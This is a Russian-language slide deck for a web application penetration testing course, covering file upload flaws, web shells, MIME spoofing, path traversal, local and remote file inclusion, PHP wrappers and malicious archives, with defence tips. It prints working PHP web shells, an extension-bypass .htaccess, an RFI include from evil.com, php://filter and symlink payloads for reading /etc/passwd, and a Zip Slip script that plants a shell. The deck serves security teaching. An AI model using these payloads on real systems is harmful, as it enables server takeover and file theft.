--- title: Web App Pentest - 0x07 File Issues tags: CSR - Web App Pentest slideOptions: transition: 'fade' parallaxBackgroundImage: 'https://i.imgur.com/YClZ1aY.jpg' --- <style> .reveal { font-size: 36px; } </style> # Web App Pentest ## File Issues --- Темы занятия: - File Upload - Web Shell - Mime Types - Local File Read - Local/Remote File Inclusion - URL schema/PHP wrappers - Arhive upload --- ## File Upload --- ## File Upload Атакa, при которой атакующий может загрузить исполняемый файл в доступный каталог веб-приложения, после чего переход на него приводит к выполнению произвольного кода на сервере. --- ## Web shell Веб-шелл - программа, предназначенная для выполнения команд ОС через веб-приложение. https://github.com/tennc/webshell --- ## Web shell Простейший веб-шелл на PHP: ```php= <?php system($_GET['cmd']); ?> ``` --- ## Web shell Веб-шелл на PHP с выводом ошибок и возможностью загрузки файлов: ```php= <?php $x="pipe"; $z=array($x, "w"); $proc=proc_open($_REQUEST["c"],array(array($x,"r"),$z,$z),$ps); echo "Output: \n".stream_get_contents($ps[1]). "Errors: \n".stream_get_contents($ps[2]); echo "\nWrited bytes: ".file_put_contents( $_REQUEST["fname"], base64_decode($_REQUEST["data"])); ?> ``` --- ## Практика bWAPP Other bugs/ Unrestricted File Upload --- ## Обход ограничений на расширения Предположим что веб-приложение запрещает загружать файлы с расширением .php (реализует черный список). Есть другие расширения ``` cat /etc/apache2/mods-available/php5.conf ``` --- ## Обход ограничений на расширения Предположим что веб-приложение запрещает загружать файлы с расширением .php (реализует черный список). Для Apache можно загрузить .htaccess с содержимым: ``` AddType application/x-httpd-php .gif ``` После этого картинки в папке станут обрабатываться как PHP. --- ## Extension power Веб-сервера обрабатывают файлы в зависимости от расширения. https://mike-n1.github.io/ExtensionsOverview --- ## File Upload MindMap https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Upload%20Insecure%20Files/Images/file-upload-mindmap.png --- ## JSP - web shell <пример tomcat> `docker run -p 8071:8080 cth123123/tomcat_vulnerable` --- ## File Upload - Как защищаться? Рекомендуется: * Сохранять файлы в БД * Сохранять файлы на s3 bucket с отдельным доменным именем * Загружать файлы вне webroot; * Давать пользовательским файлам случайные имена, не использовать расширение загруженного файла; Сложнее и хуже работают: * Белый список расширений файлов; * Проверка содержимого файла на соответствие типу (например, проверка того, что файл действительно картинка) --- ## MIME types --- ## MIME types Multipurpose Internet Mail Extensions Стандарт по именованию типов файлов. Как правило веб-приложения определяют тип файла именно как MIME. --- ## MIME types Два разных подхода: * На основе содержимого файла * На основе переданного MIME-типа Во-втором случае тип может быть легко подделан. --- ## MIME types ![](https://i.imgur.com/CMeUsDQ.png) --- ## MIME types Проверка на основе содержания файла может также быть неэффективна (смотря от чего мы защищаемся). Есть известные полиглоты. phar -> jpg/gif/etc. (в stub) php -> gif/jpg/etc. (в любой секции данных) --- ## Path Traversal --- ## Path Traversal Path (Directory) Traversal Атака, при которой атакующий может передавать в параметре, соответствующем имени файла символы `../` (или `..\` для Windows) для доступа к файлам в других директориях. --- ## Path Traversal bWAPP - Directory Traversal --- ## Path Traversal - Как защищаться? * Вместо настоящих путей до файлов используйте идентификаторы, их и принимайте от пользователей. * Нормализуйте путь, переданный пользователем, и проверяйте что результат внутри ожидаемой директории * Блокируйте запросы в которых есть две точки подряд ".." --- ## Local & Remote File Inclusion --- ## Local File Inclusion Уязвимость, при которой пользовательский ввод попадает в параметр функций `include` или `require` PHP, что может привести к выполнению загруженных пользователем файлов. --- ## Local File Inclusion Пример работы функции `include` --- ## Local File Inclusion Идея атаки следующая - загружаем файл с <?php ... ?>, а после передаем путь до него функции include. ```php= include($_GET['page']); ``` page=upload/123.jpg --- ## Remote File Inclusion Веб-приложение может "инклюдить" удаленные файлы, например: ```php include('http://evil.com/123.php') ``` Возможно только при настройках PHP (в php.ini): ``` allow_url_include = On allow_url_fopen = On ``` --- ## LFI bWAPP - Remote & Local File Inclusion * Демонстрация LFI * Демонстрация RFI (php.ini) * Демонстрация LFI через файл сессии --- ## LFI - сессии Файлы сессий могут лежать в: - /tmp/sess_sessid - /var/lib/php/session/sess_sessid - /var/lib/php5/session/sess_sessid Также посмотреть путь к директории с сессиями можно в выводе phpinfo(). --- ## PHP и нулевой байт Если приложение при включении файла добавляет расширение, а мы не можем загрузить .php: ```php= include('/includes/'+$_GET['lang'] + '.php'); ``` то может помочь нулевой байт ``` lang=../uploads/123.jpg%00 ``` ```php= include('/includes/../uploads/123.jpg%00.php') ``` * Не работает в современных версиях PHP --- ## LFI/RFI - Как защищаться? Создать белый список файлов, включение которых разрешено. Проверять что переданный параметр соответствует одному из этих файлов. <Демонстрация в bWAPP security_level=2> --- ## Local File Read --- ## Local File Read Атака, в результате которой атакующий получает возможность чтения файлов из файловой системы хоста с уязвимым приложением. --- ## Local File Read А что читать то? --- ## Local File Read * Стандартные файлы сервисов и ОС * Исходный код --- ## Local File Read - Стандартные файлы * /proc/* * /etc/passwd, /etc/issue/, /etc/hosts, /etc/hostname, etc. * Логи: /var/log * Конфиги: nginx, apache, php, etc. Неплохой перечень: https://nets.ec/File_Inclusion https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.html --- ## Local File Read - Исходный код Положение webroot можно найти в конфиге nginx/apache PHP/Python/JS: качаем index.php/wsgi.py/index.js, в нем смотрим зависимости, качаем их и т.д. Компилируемые - качаем собранные модули и декомпилим --- ## Local File Read - Исходный код C# - как правило код в DLL. web.config как правило лежит в webroot и может содержать имя DLL DLL можно скачать из webroot или webroot/bin --- ## Local File Read - Исходный код C# - Декомпиляция: * .Net Reflector * ILSpy * dotPeek * dnSpy Лучше два последних --- ## Local File Read - Исходный код Java: Код в .jar файлах либо в .class файлах * `WEB-INF/web.xml` - тут описание всего приложения * `WEB-INF/lib` - тут могут быть .jar * `WEB-INF/classes` - тут в подпапках скомпилированные Java-классы --- ## Local File Read - Исходный код Java - декомпиляция: * JD-gui * Jadx-gui * fernflower * bytecode-viewer - объединяет все выше указанные https://github.com/Konloch/bytecode-viewer/releases --- ## URL Schema в операциях с файлами --- ## URL Schema Полезные схемы: * file:// - обращение к локальным файлам * data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ --- ## URL Schema #### file:// Может в некоторых случаях помочь обойти какие-то блокировки --- ## URL Schema #### data:// data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ Может использоваться в LFI, если мы ничего не можем загрузить. --- ## PHP Wrappers --- ## PHP Wrappers PHP поддерживает ряд схем-оберток, которые могут использоваться в операциях с файлами. https://www.php.net/manual/en/wrappers.php --- ## PHP Wrappers Схема` php://` `php://input` - содержимое тела запроса `php://filter/resource=/etc/passwd` `php://filter/read=convert.base64-encode/resource=/etc/passwd` - применяет фильтры, позволяет читать локальные файлы https://www.php.net/manual/en/wrappers.php.php --- ## URL Schema Если разработчики запрещают использовать какие то схемы, которые нам хотелось бы (например, file://), то дополнительные схемы PHP могут нам помочь. <Демонстрация data:// php://input php://filter > --- ## URL Schema Практика - Wrappers. --- ## Archive Upload Issues --- ## Archive Upload Issues С загрузкой архивов связано две основные проблемы: 1. В архиве содержатся файлы с ../ в имени (Zip Slip). 1. В архиве содержатся символические ссылки, что может привести к чтению/записи файлов вне ожидаемой директории --- ## Zip Slip Файлы с `../../` распаковываются архиватором вне ожидаемой директории. В результате могут быть созданы или перезаписаны файлы приложения или системы. --- ## Zip Slip - создание архива ```python zip -r zipslip.zip ../../../../app/index.php ``` --- ## Zip Slip - создание архива ```python import zipfile from io import BytesIO def _build_zip(): f = BytesIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('../../../var/www/html/shell.php','<?php passthru($_GET["c"]); ?>') z.close() zip = open('poc.zip', 'wb') zip.write(f.getvalue()) zip.close() _build_zip() ``` --- ## Zip Slip Большинство утилит командной строки и библиотек на данный момент защищены от Zip Slip, но если разработчики считывают архив самостоятельно, то ошибки все еще возможны. --- ## Создание архивов Чтобы не расставлять файлы в файловой системе перед их упаковкой командой zip, можно воспользоваться функцией на python. --- ## Symlinks В архив может быть помещена символическая ссылка. Если веб-приложение разархивирует симолические ссылки и позволяет читать разархивированные файлы, то мы можем прочитать файлы из других директорий. --- ## Symlinks Создать архив с символической ссылкой: ``` ln -s ../../../../etc/passwd file zip --symlinks res.zip file ``` Если веб-приложение позволяет читать разархивированные файлы, то мы можем прочитать файлы из других директорий. ---